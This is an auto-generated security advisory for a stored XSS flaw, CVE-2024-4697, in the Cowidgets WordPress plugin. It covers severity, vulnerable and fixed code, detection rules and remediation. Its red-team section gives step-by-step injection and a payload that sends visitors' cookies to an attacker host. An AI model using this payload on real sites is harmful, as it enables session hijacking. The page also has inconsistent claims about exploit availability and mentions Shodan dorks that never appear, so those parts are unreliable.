CVE-2024-4697
Executive Summary
CVE-2024-4697 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cowidgets – Elementor Addons WordPress plugin, affecting all versions up to and including 1.1.2. The flaw resides in the heading_tag parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, data theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for updates. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: Required (victim must visit injected page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The medium severity reflects the need for authenticated access and user interaction, but the potential for stored XSS in a widely used plugin warrants attention.
Deep Dive & Mechanics
The vulnerability exists in the Cowidgets plugin's handling of the heading_tag parameter within Elementor widgets. The plugin fails to properly sanitize user input and escape output when rendering HTML tags. An attacker with contributor-level access can craft a malicious heading_tag value containing JavaScript payloads, such as <script>alert('XSS')</script>. When the widget is saved and rendered on a page, the payload executes in the context of any visitor's browser.
The root cause is the lack of esc_html() or wp_kses() filtering on the heading_tag parameter before it is echoed into the HTML. This allows arbitrary HTML and script injection.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.1.2):
// In widget render function
$heading_tag = $settings['heading_tag'];
echo '<' . $heading_tag . ' class="cowidgets-heading">' . $content . '</' . $heading_tag . '>';
Patched Code (hypothetical fix):
// In widget render function
$allowed_tags = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span'];
$heading_tag = in_array($settings['heading_tag'], $allowed_tags) ? $settings['heading_tag'] : 'h2';
echo '<' . esc_attr($heading_tag) . ' class="cowidgets-heading">' . esc_html($content) . '</' . esc_attr($heading_tag) . '>';
The fix restricts heading_tag to a whitelist of safe HTML tags and applies esc_attr() for output escaping.
Exploitation & Lab Setup
Red Team
- Prerequisites: WordPress installation with Cowidgets plugin <= 1.1.2, contributor-level account.
- Steps:
- Log in as contributor.
- Create or edit a page using Elementor.
- Add a Cowidgets widget (e.g., heading widget).
- In the widget settings, set
heading_tagto:<script>alert(document.cookie)</script>. - Save and publish the page.
- When any user visits the page, the script executes.
- Payload Example:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
- Detection: Monitor for unusual
heading_tagvalues in Elementor page data. Look for non-standard HTML tags or script elements. - Prevention: Implement a Web Application Firewall (WAF) rule to block requests containing
<script>inheading_tagparameters. - Hunting: Search database for posts/pages where
heading_tagcontains<or>characters.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/cowidgets/(version 1.1.2 or earlier) - Database:
wp_postmetaentries withmeta_keycontainingheading_tagandmeta_valuecontaining<script>oronerror=etc. - Network: Outbound connections to attacker-controlled domains from WordPress admin or frontend.
- Logs: HTTP requests with
heading_tagparameter containing HTML/JavaScript.
Detection Engineering
YARA Rule
rule cowidgets_stored_xss {
meta:
description = "Detects stored XSS payloads in Cowidgets heading_tag parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4697"
strings:
$payload1 = /heading_tag[^>]*<script/i
$payload2 = /heading_tag[^>]*onerror=/i
$payload3 = /heading_tag[^>]*onload=/i
condition:
any of them
}
Sigma Rule
title: Cowidgets Stored XSS via heading_tag
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Cowidgets plugin heading_tag parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "wp-admin/admin-ajax.php"
cs-method: "POST"
cs-uri-query|contains: "heading_tag"
cs-uri-query|re: "(<script|onerror=|onload=)"
condition: selection
falsepositives:
- Legitimate use of HTML tags in heading_tag (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4697 Cowidgets Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"heading_tag"; http_client_body; pcre:"/(<script|onerror=|onload=)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Cowidgets plugin until a patch is released.
- Short-term: Restrict contributor-level access to trusted users only. Implement a WAF rule to block malicious
heading_tagvalues. - Long-term: Apply the vendor patch when available. Alternatively, manually patch the plugin by adding input validation and output escaping as shown in the patched code example.
- Monitoring: Continuously monitor for unusual activity in WordPress admin and frontend.
Report generated by Valters IT DevSecOps AI. Stay secure.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.